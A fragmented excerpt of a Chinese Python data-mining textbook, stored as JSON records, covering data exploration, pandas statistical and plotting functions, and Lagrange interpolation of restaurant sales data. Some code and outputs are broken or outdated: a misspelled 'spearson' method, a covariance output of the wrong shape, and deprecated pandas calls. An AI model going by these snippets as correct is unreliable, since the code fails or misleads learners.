    {"text": "2.4 配套资源使用设置 本书提供的下载资源按照章节组织，在资源的目录中会有chapter2、chapter3、chapter4等章节。在原理篇章节中其章节目录下只包含“demo”文件夹（示例程序文件夹），包含3个子目录：code、data和tmp。其中，code为章节正文中使用到的代码、data为使用的数据文件、tmp文件夹中存放临时文件或者示例程序运行的结果文件。 在实战篇章节如chapter6下则包含“demo”“test”“上机实验拓展”和“拓展思考”文件夹，分别对应于“示例程序”“上机实验”“上机实验拓展”和“拓展思考”。其中的“demo”文件夹和原理篇一致；“test”文件夹则主要针对上机实验部分的完整代码，其子目录结构和“示例程序”一致；“上机实验拓展”里面包含“SAS”“R”和“SPSS”文件夹，主要是使用不同的工具来解决上机实验问题；“拓展思考”则主要存储拓展思考部分的数据文件。 读者只需把整个章节（如chapter2）复制到本地，注意用到Pandas的时候不要置于中文路径，然后打开其中的示例程序即可运行程序并得到结果。需要注意，在示例程序中使用的一些自定义函数在对应的章节可以找到相应的.py文件。同时示例程序中的参数初始化可能需要根据具体设置进行配置，如果和示例程序不同，请自行修改。 2.5 小结 本章主要对Python进行简单介绍，包括软件安装、使用入门及相关注意事项和Python数据分析及挖掘相关工具箱。由于Python包含多个领域的扩展库，而且扩展库的功能也相当丰富，本章只介绍与数据分析及数据挖掘相关的一小部分，包括高维数组、数值计算、可视化、机器学习、神经网络和语言模型等。这些扩展库里面包含的函数在后续章节中会进行实例分析，通过在Python平台上完成实际案例来掌握数据分析和数据挖掘的原理，培养读者应用数据分析和挖掘技术解决实际问题的能力。 第3章 数据探索 根据观测、调查收集到初步的样本数据集后，接下来要考虑的问题是：样本数据集的数量和质量是否满足模型构建的要求？是否出现从未设想过的数据状态？其中有没有什么明显的规律和趋势？各因素之间有什么样的关联性？ 通过检验数据集的数据质量、绘制图表、计算某些特征量等手段，对样本数据集的结构和规律进行分析的过程就是数据探索。数据探索有助于选择合适的数据预处理和建模方法，甚至可以完成一些通常由数据挖掘解决的问题。 本章从数据质量分析和数据特征分析两个角度对数据进行探索。"},
    {"text": "3.1 数据质量分析 数据质量分析是数据挖掘中数据准备过程的重要一环，是数据预处理的前提，也是数据挖掘分析结论有效性和准确性的基础，没有可信的数据，数据挖掘构建的模型将是空中楼阁。 数据质量分析的主要任务是检查原始数据中是否存在脏数据，脏数据一般是指不符合要求，以及不能直接进行相应分析的数据。"},
    {"text": "3.1.1 缺失值分析 数据的缺失主要包括记录的缺失和记录中某个字段信息的缺失，两者都会造成分析结果的不准确，以下从缺失值产生的原因及影响等方面展开分析。 （1）缺失值产生的原因 1）有些信息暂时无法获取，或者获取信息的代价太大。"},
    {"text": "可能是因为输入时认为不重要、忘记填写或对数据理解错误等一些人为因素而遗漏，也可能是由于数据采集设备的故障、存储介质的故障、传输媒体的故障等非人为原因而丢失。"},
    {"text": "3.1.2 异常值分析 异常值分析是检验数据是否有录入错误以及含有不合常理的数据。 忽视异常值的存在是十分危险的，不加剔除地把异常值包括进数据的计算分析过程中，对结果会产生不良影响； 重视异常值的出现，分析其产生的原因，常常成为发现问题进而改进决策的契机。 异常值是指样本中的个别值，其数值明显偏离其余的观测值。 异常值也称为离群点，异常值的分析也称为离群点分析。"},
    {"text": "Q L 称为下四分位数，表示全部观察值中有四分之一的数据取值比它小； Q U 称为上四分位数，表示全部观察值中有四分之一的数据取值比它大； IQR称为四分位数间距，是上四分位数Q U 与下四分位数Q L 之差，其间包含了全部观察值的一半。"},
    {"text": "另一方面，箱型图判断异常值的标准以四分位数和四分位距为基础，四分位数具有一定的鲁棒性：多达25%的数据可以变得任意远而不会很大地扰动四分位数，所以异常值不能对这个标准施加影响。"},
    {"text": "图3-1 箱型图检测异常值 在餐饮系统中的销量额数据可能出现缺失值和异常值，如表3-1中数据所示。 表3-1 餐饮日销额数据示例 数据详见：demo/data/catering_sale.xls 分析餐饮系统日销量额数据可以发现，其中有部分数据是缺失的，但是如果数据记录和属性较多，使用人工分辨的方法就不切合实际，所以这里需要编写程序来检测出含有缺失值的记录和属性以及缺失率个数和缺失率等。"},
    {"text": "import pandas as pd catering_sale = '../data/catering_sale.xls' # 餐饮数据 data = pd.read_excel(catering_sale, index_col = u' 日期 ') # 读取数据，指定“日期”列为索引列 data.describe() 运行结果如下。"},
    {"text": "销量 count 200.000000 mean 2755.214700 std 751.029772 min 22.000000 25% 2451.975000 50% 2655.850000 75% 3026.125000 max 9106.440000 其中count是非空值数，通过len（data）可以知道数据记录为201条，因此缺失值数为1。"},
    {"text": "另外，提供的基本参数还有平均值（mean）、标准差（std）、最小值（min）、最大值（max）以及1/4、1/2、3/4分位数（25%、50%、75%）。"},
    {"text": "代码清单3-1 餐饮销额数据异常值检测代码 #-*- coding: utf-8 -*- import pandas as pd catering_sale = '../data/catering_sale.xls' # 餐饮数据 data = pd.read_excel(catering_sale, index_col = u' 日期 ') # 读取数据，指定“日期”列为索 引列 import matplotlib.pyplot as plt # 导入图像库 plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 plt.figure() # 建立图像 p = data.boxplot() # 画箱线图，直接使用 DataFrame 的方法 x = p['fliers'][0].get_xdata() # 'flies' 即为异常值的标签 y = p['fliers'][0].get_ydata() y.sort() # 从小到大排序，该方法直接改变原对象 # 用 annotate 添加注释 # 其中有些相近的点，注解会出现重叠，难以看清，需要一些技巧来控制。"},
    {"text": "for i in range(len(x)): if i>0: plt.annotate(y[i], xy = (x[i],y[i]), xytext=(x[i]+0.05 -0.8/(y[i]-y[i- 1]),y[i])) else: plt.annotate(y[i], xy = (x[i],y[i]), xytext=(x[i]+0.08,y[i])) plt.show() # 展示箱线图 代码详见：demo/code/abnormal_check.py 运行上面的程序，其结果为“缺失值个数为：1”，同时可以得到如图3-2所示的箱型图。"},
    {"text": "在数据挖掘过程中，不一致数据的产生主要发生在数据集成的过程中，这可能是由于被挖掘数据是来自于从不同的数据源、对于重复存放的数据未能进行一致性更新造成的。"},
    {"text": "3.2 数据特征分析 对数据进行质量分析以后，接下来可通过绘制图表、计算某些特征量等手段进行数据的特征分析。 3.2.1 分布分析 分布分析能揭示数据的分布特征和分布类型。 对于定量数据，欲了解其分布形式是对称的还是非对称的，发现某些特大或特小的可疑值，可通过绘制频率分布表、绘制频率分布直方图、绘制茎叶图进行直观地分析；"},
    {"text": "表3-2是描述菜品“捞起生鱼片”在2014年第二个季度的销售数据，通过表中数据绘制销售量的频率分布表、频率分布图，对该定量数据做出相应的分析。"},
    {"text": "表3-2 “捞起生鱼片”的销售情况 数据详见：demo/data/catering_sale.xls （1）求极差 极差＝最大值－最小值＝3960－45＝3915 （2）分组 这里根据业务数据的含义，可取组距为500。"},
    {"text": "表3-4 频率分布表 （5）绘制频率分布直方图 若以2014年第二季度“捞起生鱼片”每天的销售额为横轴，以各组段的频率密度（频率与组距之比）为纵轴，表34的数据可绘制成频率分布直方图，如图3-3所示。"},
    {"text": "图3-3 销售额的频率分布直方图 2.定性数据的分布分析 对于定性变量，常常根据变量的分类类型来分组，可以采用饼图和条形图来描述定性变量的分布。"},
    {"text": "饼图的每一个扇形部分代表每一类型的百分比或频数，根据定性变量的类型数目将饼图分成几个部分，每一部分的大小与每一类型的频数成正比；"},
    {"text": "图3-4和图3-5是菜品A、B、C在某段时间的销售量的分布图。 图3-4 菜品销售量分布（饼图） 图3-5 菜品的销售量分布（条形图） 3.2.2 对比分析 对比分析是指把两个相互联系的指标进行比较，从数量上展示和说明研究对象规模的大小，水平的高低，速度的快慢，以及各种关系是否协调。"},
    {"text": "在对比分析中，选择合适的对比标准是十分关键的步骤，只有选择合适，才能做出客观的评价，选择不合适，评价可能得出错误的结论。 对比分析主要有以下两种形式。 （1）绝对数比较 绝对数比较是利用绝对数进行对比，从而寻找差异的一种方法。 （2）相对数比较 相对数比较是由两个有联系的指标对比计算的，用以反映客观现象之间数量联系程度的综合指标，其数值表现为相对数。 由于研究目的和对比基础不同，相对数可以分为以下几种。 1）结构相对数：将同一总体内的部分数值与全部数值对比求得比重，用以说明事物的性质、结构或质量。"},
    {"text": "3）比较相对数：将同一时期两个性质相同的指标数值进行对比，说明同类现象在不同空间条件下的数量对比关系。 如不同地区商品价格对比，不同行业、不同企业间某项指标对比等。 4）强度相对数：将两个性质不同但有一定联系的总量指标进行对比，用以说明现象的强度、密度和普遍程度。"},
    {"text": "5）计划完成程度相对数：是某一时期实际完成数与计划数的对比，用以说明计划完成程度。 6）动态相对数：将同一现象在不同时期的指标数值进行对比，用以说明发展方向和变化的速度。"},
    {"text": "就各菜品的销售数据来看，从时间的维度上分析，可以看到甜品部A、海鲜部B、素菜部C三个部门之间的销售金额随时间的变化趋势，可以了解在此期间哪个部门的销售金额较高，趋势比较平稳，如图3-6所示。"},
    {"text": "我们也可以对单一部门（如海鲜部）做分析，了解各月份的销售对比情况，如图3-7所示。 图3-7 海鲜部各年份之间月销售金额的比较 3.2.3 统计量分析 用统计指标对定量数据进行统计描述，常从集中趋势和离中趋势两个方面进行分析。"},
    {"text": "如果求n个原始观察数据的平均数，计算公式为： 有时，为了反映在均值中不同成分所占的不同重要程度，为数据集中的每一个x i 赋予w i ，这就得到了加权均值的计算公式： 类似地，频率分布表（见表3-4）的平均数可以使用下式计算： 式中，x 1 ，x 2 ，…，x k 分别为k个组段的组中值；"},
    {"text": "2.离中趋势度量 （1）极差 极差＝最大值－最小值 极差对数据集的极端值非常敏感，并且忽略了位于最大值与最小值之间的数据的分布情况。 （2）标准差 标准差度量数据偏离均值的程度，计算公式为： （3）变异系数 变异系数度量标准差相对于均值的离中趋势，计算公式为： 变异系数主要用来比较两个或多个具有不同单位或不同波动幅度的数据集的离中趋势。"},
    {"text": "将所有数值由小到大排列并分成四等份，处于第一个分割点位置的数值是下四分位数，处于第二个分割点位置（中间位置）的数值是中位数，处于第三个分割点位置的数值是上四分位数。"},
    {"text": "针对餐饮销量数据进行统计量分析，其Python代码如代码清单3-2所示。 代码清单3-2 餐饮销量数据统计量分析代码 #-*- coding: utf-8 -*- # 餐饮销量数据统计量分析 from __future__ import print_function import pandas as pd catering_sale = '../data/catering_sale.xls' # 餐饮数据 data = pd.read_excel(catering_sale, index_col = u' 日期 ') # 读取数据，指定“日期”列为索引列 data = data[(data[u' 销量 '] > 400)&(data[u' 销量 '] < 5000)] # 过滤异常数据 statistics = data.describe() # 保存基本统计量 statistics.loc['range'] = statistics.loc['max']-statistics.loc['min'] # 极差 statistics.loc['var'] = statistics.loc['std']/statistics.loc['mean'] # 变异系数 statistics.loc['dis'] = statistics.loc['75%']-statistics.loc['25%'] # 四分位数间距 print(statistics) 代码详见：demo/code/statistics_analyze.py 运行上面的程序，可以得到下面的结果，此结果为餐饮销量数的统计量情况。"},
    {"text": "销量 count 195.000000 mean 2744.595385 std 424.739407 min 865.000000 25% 2460.600000 50% 2655.900000 75% 3023.200000 max 4065.200000 range 3200.200000 var 0.154755 dis 562.600000 3.2.4 周期性分析 周期性分析是探索某个变量是否随着时间变化而呈现出某种周期变化趋势。"},
    {"text": "时间尺度相对较长的周期性趋势有年度周期性趋势、季节性周期趋势，相对较短的有月度周期性趋势、周度周期性趋势，甚至更短的天、小时周期性趋势。"},
    {"text": "图3-8是某用电单位A在2014年9月日用电量的时序图，图3-9是用电单位A在2013年9月日用电量的时序图。 图3-8 2014年9月日用电量时序图 总体来看，用电单位A的2014年9月日用电量呈现出周期性，以周为周期，因为周六周日不上班，所以周末用电量较低。"},
    {"text": "图3-10是海鲜系列的10个菜品A1~A10某个月的盈利额（已按照从大到小排序）。 图3-10 帕累托图 由上图可知，菜品A1~A7共7个菜品，占菜品种类数的70%，总盈利额占该月盈利额的85.0033%。"},
    {"text": "表3-5是餐饮系统对应的菜品盈利数据。 表3-5 餐饮系统菜品盈利数据 数据详见：demo/data/catering_dish_profit.xls 其Python代码如代码清单3-3所示。"},
    {"text": "代码清单3-3 菜品盈利帕累托图代码 #-*- coding: utf-8 -*- # 菜品盈利数据 帕累托图 from __future__ import print_function import pandas as pd # 初始化参数 dish_profit = '../data/catering_dish_profit.xls' # 餐饮菜品盈利数据 data = pd.read_excel(dish_profit, index_col = u' 菜品名 ') data = data[u' 盈利 '].copy() data.sort(ascending = False) import matplotlib.pyplot as plt # 导入图像库 plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 plt.figure() data.plot(kind='bar') plt.ylabel(u' 盈利（元） ') p = 1.0*data.cumsum()/data.sum() p.plot(color = 'r', secondary_y = True, style = '-o',linewidth = 2) plt.annotate(format(p[6], '.4%'), xy = (6, p[6]), xytext=(6*0.9, p[6]*0.9), arro wprops=dict(arrowstyle=\"->\", connectionstyle=\"arc3,rad=.2\")) # 添加注释，即 85% 处 的标记。"},
    {"text": "plt.ylabel(u' 盈利（比例） ') plt.show() 代码详见：demo/code/dish_pareto.py 3.2.6 相关性分析 分析连续变量之间线性相关程度的强弱，并用适当的统计指标表示出来的过程称为相关分析。"},
    {"text": "1.直接绘制散点图 判断两个变量是否具有线性相关关系的最直观的方法是直接绘制散点图，如图3-11所示。 图3-11 相关关系的图示 2.绘制散点图矩阵 需要同时考察多个变量间的相关关系时，一一绘制它们间的简单散点图是十分麻烦的。 此时可利用散点图矩阵同时绘制各变量间的散点图，从而快速发现多个变量间的主要相关性，这在进行多元线性回归时显得尤为重要。"},
    {"text": "在二元变量的相关分析过程中比较常用的有Pearson相关系数、Spearman秩相关系数和判定系数。 （1）Pearson相关系数 一般用于分析两个连续性变量之间的关系，其计算公式如下。 相关系数r的取值范围：-1≤r≤1 0<|r|<1表示存在不同程度线性相关： （2）Spearman秩相关系数 Pearson线性相关系数要求连续变量的取值服从正态分布。 不服从正态分布的变量、分类或等级变量之间的关联性可采用Spearman秩相关系数，也称等级相关系数来描述。"},
    {"text": "对两个变量成对的取值分别按照从小到大（或者从大到大小）顺序编秩，R i 代表x i 的秩次，Q i 代表y i 的秩次，R i -Q i 为x i 、y i 的秩次之差。"},
    {"text": "表3-6给出一个变量x（x 1 ，x 2 ，…x i ，…x n ）秩次的计算过程。 表3-6 变量x秩次计算过程 因为一个变量的相同的取值必须有相同的秩次，所以在计算中采用的秩次是排序后所在位置的平均值。"},
    {"text": "只要两个变量具有严格单调的函数关系，那么它们就是完全Spearman相关的，这与Pearson相关不同，Pearson相关只有在变量具有线性关系时才是完全相关的。"},
    {"text": "研究表明，在正态分布假定下，Spearman秩相关系数与Pearson相关系数在效率上是等价的，而对于连续测量数据，更适合用Pearson相关系数来进行分析。"},
    {"text": "餐饮系统中可以统计得到不同菜品的日销量数据，数据示例如表3-7所示。 表3-7 菜品日销量数据 数据详见：demo/data/catering_sale_all.xls 分析这些菜品销售量之间的相关性可以得到不同菜品之间的关系，比如是替补菜品、互补菜品或者没有关系，为原材料采购提供参考。"},
    {"text": "代码清单3-4 餐饮销量数据相关性分析 #-*- coding: utf-8 -*- # 餐饮销量数据相关性分析 from __future__ import print_function import pandas as pd catering_sale = '../data/catering_sale_all.xls' # 餐饮数据，含有其他属性 data = pd.read_excel(catering_sale, index_col = u' 日期 ') # 读取数据，指定“日期”列为索引列 data.corr() # 相关系数矩阵，即给出了任意两款菜式之间的相关系数 data.corr()[u' 百合酱蒸凤爪 '] # 只显示“百合酱蒸凤爪”与其他菜式的相关系数 data[u' 百合酱蒸凤爪 '].corr(data[u' 翡翠蒸香茜饺 ']) # 计算“百合酱蒸凤爪”与“翡翠蒸香茜饺”的 相关系数 代码详见：demo/code/correlation_analyze.py 上面的代码给出了3种不同形式的求相关系数的运算。 运行代码，可以得到任意两款菜式之间的相关系数，如运行“data.corr（）[u'百合酱蒸凤爪']”可以得到下面的结果。 >>> data.corr()[u' 百合酱蒸凤爪 '] 百合酱蒸凤爪 1.000000 翡翠蒸香茜饺 0.009206 金银蒜汁蒸排骨 0.016799 乐膳真味鸡 0.455638 蜜汁焗餐包 0.098085 生炒菜心 0.308496 铁板酸菜豆腐 0.204898 香煎韭菜饺 0.127448 香煎萝卜糕 -0.090276 原汁原味菜心 0.428316 Name: 百合酱蒸凤爪 , dtype: float64 从上面的结果可以看到，如果顾客点了“百合酱蒸凤爪”，则和点“翡翠蒸香茜饺”“金银蒜汁蒸排骨”“香煎萝卜糕”“铁板酸菜豆腐”“香煎韭菜饺”等主食类的相关性比较低，反而点“乐膳真味鸡”“生炒菜心”“原汁原味菜心”的相关性比较高。"},
    {"text": "3.3 Python主要数据探索函数 Python中用于数据探索的库主要是Pandas（数据分析）和Matplotlib（数据可视化）。 其中，Pandas提供了大量的与数据探索相关的函数，这些数据探索函数可大致分为统计特征函数与统计作图函数，而作图函数依赖于Matplotlib，所以往往又会跟Matplotlib结合在一起使用。 本节对Pandas中主要的统计特征函数与统计作图函数进行介绍，并举例以方便理解。"},
    {"text": "3.3.1 基本统计特征函数 统计特征函数用于计算数据的均值、方差、标准差、分位数、相关系数和协方差等，这些统计特征能反映出数据的整体分布。"},
    {"text": "本小节所介绍的统计特征函数如表3-8所示，它们主要作为Pandas的对象DataFrame或Series的方法出现。 表3-8 Pandas主要统计特征函数 （1）sum ·功能：计算数据样本的总和（按列计算）。"},
    {"text": "（5）corr ·功能：计算数据样本的Spearman（Pearson）相关系数矩阵。 ·使用格式： D.corr（method='pearson'） 样本D可为DataFrame，返回相关系数矩阵，method参数为计算方法，支持pearson（皮尔森相关系数，默认选项）、kendall（肯德尔系数）、spearman（斯皮尔曼系数）； S1.corr（S2，method='pearson'）S1、S2均为Series，这种格式指定计算两个Series之间的相关系数。"},
    {"text": "D = pd.DataFrame([range(1, 8), range(2, 9)]) # 生成样本 D ，一行为 1~7 ，一行为 2~8 D.corr(method='spearson') # 计算相关系数矩阵 S1 = D.loc[0] # 提取第一行 S2 = D.loc[1] # 提取第二行 S1.corr(S2, method='pearson') # 计算 S1 、 S2 的相关系数 （6）cov ·功能：计算数据样本的协方差矩阵。 ·使用格式： D.cov（） 样本D可为DataFrame，返回协方差矩阵；"},
    {"text": "import numpy as np D = pd.DataFrame(np.random.randn(6, 5)) # 产生 6×5 随机矩阵 D.cov() # 计算协方差矩阵 0 1 2 3 4 0 1.745257 -0.299968 0.850216 -0.484931 1.068187 1 -1.453670 1.460928 0.347299 1.585089 0.595347 2 -0.751128 0.504498 -1.244944 -0.672183 -0.595296 3 -0.423802 -1.086470 0.637264 0.873043 -0.506736 4 0.969907 0.721997 -0.550993 1.033300 -0.903234 5 -0.705159 0.385077 0.120580 0.347470 2.036798 D[0].cov(D[1]) # 计算第一列和第二列的协方差 0.5 （7）skew/kurt ·功能：计算数据样本的偏度（三阶矩）/峰度（四阶矩）。"},
    {"text": "import numpy as np D = pd.DataFrame(np.random.randn(6, 5)) # 产生 6×5 随机矩阵 D.skew() 0 -0.210246 1 -0.348367 2 -1.152183 3 -0.378802 4 -0.859889 dtype: float64 D.kurt() 0 -0.191062 1 -1.831973 2 1.171797 3 -1.529854 4 1.494526 dtype: float64 （8）describe ·功能：直接给出样本数据的一些基本的统计量，包括均值、标准差、最大值、最小值、分位数等。"},
    {"text": "·使用格式： D.describe（） 括号里可以带一些参数，比如percentiles=[0.2，0.4，0.6，0.8]就是指定只计算0.2、0.4、0.6、0.8分位数，而不是默认的1/4、1/2、3/4分位数。"},
    {"text": "import numpy as np D = pd.DataFrame(np.random.randn(6, 5)) # 产生 6×5 随机矩阵 D.describe() 0 1 2 3 4 count 6.000000 6.000000 6.000000 6.000000 6.000000 mean 0.006958 -0.069822 0.113711 -0.168115 -0.584493 std 1.224979 1.017829 0.939980 1.173083 0.539911 min -1.777763 -1.330542 -1.512842 -1.674685 -1.507229 25% -0.669088 -0.937504 -0.202329 -1.109370 -0.721853 50% 0.176010 0.130924 0.472093 0.115791 -0.537366 75% 0.578993 0.650975 0.516907 0.538483 -0.305514 max 1.704960 1.119084 1.146215 1.272789 0.086585 3.3.2 拓展统计特征函数 除了上述基本的统计特征外，Pandas还提供了一些非常方便实用的计算统计特征的函数，主要有累积计算（cum）和滚动计算（pd.rolling_），见表3-8和表3-9。 表3-9 Pandas累积统计特征函数 表3-10 Pandas累积统计特征函数 其中，cum系列函数是作为DataFrame或Series对象的方法而出现的，因此命令格式为D.cumsum（），而rolling_系列是pandas的函数，不是DataFrame或Series对象的方法，因此，它们的使用格式为pd.rolling_mean（D，k），意思是每k列计算一次均值，滚动计算。 实例： D=pd.Series(range(0, 20)) # 构造 Series ，内容为 0~19 共 20 个整数 D.cumsum() # 给出前 n 项和 0 0 1 1 2 3 3 6 …… 19 190 dtype: int32 pd.rolling_sum(D, 2) # 依次对相邻两项求和 0 NaN 1 1 2 3 3 5 …… 19 37 dtype: float64 3.3.3 统计作图函数 通过统计作图函数绘制的图表可以直观地反映出数据及统计量的性质及其内在规律，如盒图可以表示多个样本的均值，误差条形图能同时显示下限误差和上限误差，最小二乘拟合曲线图能分析两变量间的关系。"},
    {"text": "Python的主要作图库是Matplotlib，在第2章中已经进行了初步的介绍，而Pandas基于Matplotlib并对某些命令进行了简化，因此作图通常是Matplotlib和Pandas相互结合着使用。"},
    {"text": "import matplotlib.pyplot as plt # 导入作图库 plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 plt.figure(figsize = (7, 5)) # 创建图像区域，指定比例 作图完成后，一般通过plt.show（）来显示作图结果。"},
    {"text": "·使用格式： plt.plot（x，y，S） 这是Matplotlib通用的绘图方式，绘制y对于x（即以x为横轴的二维图形），字符串参量S指定绘制时图形的类型、样式和颜色，常用的选项有：'b'为蓝色、'r'为红色、'g'为绿色、'o'为圆圈、'+'为加号标记、'-'为实线、'--'为虚线。"},
    {"text": "D.plot（kind='box'） 这里使用的是DataFrame或Series对象内置的方法作图，默认以Index为横坐标，每列数据为纵坐标自动作图，通过kind参数指定作图类型，支持line（线）、bar（条形）、barh、hist（直方图）、box（箱线图）、kde（密度图）和area、pie（饼图）等，同时也能够接受plt.plot（）中接受的参数。"},
    {"text": "import numpy as np x = np.linspace(0,2*np.pi,50) #x 坐标输入 y = np.sin(x) # 计算对应 x 的正弦值 plt.plot(x, y, 'bp--') # 控制图形格式为蓝色带星虚线，显示正弦曲线 plt.show() （2）pie ·功能：绘制饼型图。"},
    {"text": "import matplotlib.pyplot as plt # The slices will be ordered and plotted counter-clockwise. labels = 'Frogs', 'Hogs', 'Dogs', 'Logs' # 定义标签 sizes = [15, 30, 45, 10] # 每一块的比例 colors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral'] # 每一块的颜色 explode = (0, 0.1, 0, 0) # 突出显示，这里仅仅突出显示第二块（即 'Hogs' ） plt.pie(sizes, explode=explode, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=90) plt.axis('equal') # 显示为圆（避免比例压缩为椭圆） plt.show() 图3-13 正弦曲线图 图3-14 饼形图 （3）hist ·功能：绘制二维条形直方图，可显示数据的分布情形。"},
    {"text": "import matplotlib.pyplot as plt import numpy as np x = np.random.randn(1000) #1000 个服从正态分布的随机数 plt.hist(x, 10) # 分成 10 组进行绘制直方图 plt.show() （4）boxplot ·功能：绘制样本数据的箱形图。"},
    {"text": "·使用格式： D.boxplot（）/D.plot（kind='box'） 有两种比较简单的方式绘制D的箱形图，其中一种是直接调用DataFrame的boxplot（）方法； 另外一种是调用Series或者DataFrame的plot（）方法，并用kind参数指定箱形图（box）。"},
    {"text": "import matplotlib.pyplot as plt import numpy as np import pandas as pd x = np.random.randn(1000) #1000 个服从正态分布的随机数 D = pd.DataFrame([x, x+1]).T # 构造两列的 DataFrame D.plot(kind = 'box') # 调用 Series 内置的作图方法画图，用 kind 参数指定箱形图 box plt.show() 图3-15 二维条形直方图 图3-16 箱形图 （5）plot（logx=True）/plot（logy=True） ·功能：绘制x或y轴的对数图形。"},
    {"text": "·使用格式： D.plot（logx=True）/D.plot（logy=True） 对x轴（y轴）使用对数刻度（以10为底），y轴（x轴）使用线性刻度，进行plot函数绘图，D为Pandas的DataFrame或者Series。"},
    {"text": "import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 import numpy as np import pandas as pd x = pd.Series(np.exp(np.arange(20))) # 原始数据 x.plot(label = u' 原始数据图 ', legend = True) plt.show() x.plot(logy = True, label = u' 对数数据图 ', legend = True) plt.show() 图3-17 y轴的对数图形对比图 （6）plot（yerr=error） ·功能：绘制误差条形图。"},
    {"text": "import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 import numpy as np import pandas as pd error = np.random.randn(10) # 定义误差列 y = pd.Series(np.sin(np.arange(10))) # 均值数据列 y.plot(yerr = error) # 绘制误差图 plt.show() 图3-18 误差条形图"},
    {"text": "3.4 小结 本章从应用的角度出发，从数据质量分析和数据特征分析两个方面对数据进行探索分析，最后介绍了Python常用的数据探索函数及用例。数据质量分析要求我们拿到数据后先检测是否存在缺失值和异常值；数据特征分析要求我们在数据挖掘建模前，通过频率分布分析、对比分析、帕累托分析、周期性分析、相关性分析等方法，对采集的样本数据的特征规律进行分析，以了解数据的规律和趋势，为数据挖掘的后续环节提供支持。 要特别说明的是，在数据可视化中，由于主要使用Pandas作为数据探索和分析的工具，因此我们介绍的作图工具都是Matplotlib和Pandas结合使用。一方面，Matplotlib是作图工具的基础，Pandas作图依赖于它；另一方面，Pandas作图有着简单直接的优势，因此，两者相互结合，往往能够以最高的效率作出符合我们需要的图。 第4章 数据预处理 在数据挖掘中，海量的原始数据中存在着大量不完整（有缺失值）、不一致、有异常的数据，严重影响到数据挖掘建模的执行效率，甚至可能导致挖掘结果的偏差，所以进行数据清洗就显得尤为重要，数据清洗完成后接着进行或者同时进行数据集成、转换、规约等一系列的处理，该过程就是数据预处理。数据预处理一方面是要提高数据的质量，另一方面是要让数据更好地适应特定的挖掘技术或工具。统计发现，在数据挖掘的过程中，数据预处理工作量占到了整个过程的60%。 数据预处理的主要内容包括数据清洗、数据集成、数据变换和数据规约。处理过程如图4-1所示。 图4-1 数据预处理过程示意图"},
    {"text": "4.1 数据清洗 数据清洗主要是删除原始数据集中的无关数据、重复数据，平滑噪声数据，筛选掉与挖掘主题无关的数据，处理缺失值、异常值等。 4.1.1 缺失值处理 处理缺失值的方法可分为3类：删除记录、数据插补和不处理。其中常用的数据插补方法见表4-1。 表4-1 常用的插补方法 如果通过简单的删除小部分记录达到既定的目标，那么删除含有缺失值的记录的方法是最有效的。然而，这种方法却有很大的局限性。它是以减少历史数据来换取数据的完备，会造成资源的大量浪费，将丢弃了大量隐藏在这些记录中的信息。尤其在数据集本来就包含很少记录的情况下，删除少量记录可能会严重影响到分析结果的客观性和正确性。一些模型可以将缺失值视作一种特殊的取值，允许直接在含有缺失值的数据上进行建模。 本节重点介绍拉格朗日插值法和牛顿插值法。其他的插值方法还有Hermite插值、分段插值、样条插值法等。 （1）拉格朗日插值法 根据数学知识可知，对于平面上已知的n个点（无两点在一条直线上）可以找到一个n-1次多项式y＝a 0 +a 1 x+a 2 x 2 +…+a n-1 x n-1 ，使此多项式曲线过这n个点。 1）求已知的过n个点的n-1次多项式： y＝a 0 +a 1 x+a 2 x 2 +…+a n-1 x n-1 （4-1） 将n个点的坐标（x 1 ，y 1 ），（x 2 ，y 2 ）…（x n ，y n ）代入多项式函数，得 解出拉格朗日插值多项式为： 2）将缺失的函数值对应的点x代入插值多项式得到缺失值的近似值L（x）。 拉格朗日插值公式结构紧凑，在理论分析中很方便，但是当插值节点增减时，插值多项式就会随之变化，这在实际计算中是很不方便的，为了克服这一缺点，提出了牛顿插值法。 （2）牛顿插值法 1）求已知的n个点对（x 1 ，y 1 ），（x 2 ，y 2 ）…（x n ，y n ）的所有阶差商公式 2）联立以上差商公式建立如下插值多项式f（x） 其中： P（x）是牛顿插值逼近函数，R（x）是误差函数。 3）将缺失的函数值对应的点x代入插值多项式得到缺失值的近似值f（x）。 牛顿插值法也是多项式插值，但采用了另一种构造插值多项式的方法，与拉格朗日插值相比，具有承袭性和易于变动节点的特点。从本质上来说，两者给出的结果是一样的（相同次数、相同系数的多项式），只不过表示的形式不同。因此，在Python的Scipy库中，只提供了拉格朗日插值法的函数（因为实现上比较容易），如果需要牛顿插值法，则需要自行编写函数。 下面结合具体案例介绍拉格朗日插值实现方法。 餐饮系统中的销量数据可能会出现缺失值，如表4-2为某餐厅一段时间的销量表，其中2015年2月14日的数据缺失，用拉格朗日插值对缺失值进行插补的Python程序实现如代码清单4-1所示。 表4-2 某餐厅一段时间的销量数据 数据详见：demo/data/catering_sale.xls 代码清单4-1 用拉格朗日法进行插补 # 拉格朗日插值代码 import pandas as pd # 导入数据分析库 Pandas from scipy.interpolate import lagrange # 导入拉格朗日插值函数 inputfile = '../data/catering_sale.xls' # 销量数据路径 outputfile = '../tmp/sales.xls' # 输出数据路径 data = pd.read_excel(inputfile) # 读入数据 data[u' 销量 '][(data[u' 销量 '] < 400) | (data[u' 销量 '] > 5000)] = None # 过滤异常值，将 其变为空值 # 自定义列向量插值函数 #s 为列向量， n 为被插值的位置， k 为取前后的数据个数，默认为 5 def ployinterp_column(s, n, k=5): y = s[list(range(n-k, n)) + list(range(n+1, n+1+k))] # 取数 y = y[y.notnull()] # 剔除空值 return lagrange(y.index, list(y))(n) # 插值并返回插值结果 # 逐个元素判断是否需要插值 for i in data.columns: for j in range(len(data)): if (data[i].isnull())[j]: # 如果为空即插值。 data[i][j] = ployinterp_column(data[i], j) data.to_excel(outputfile) # 输出结果，写入文件 代码详见：demo/code/lagrange_newton_interp.m 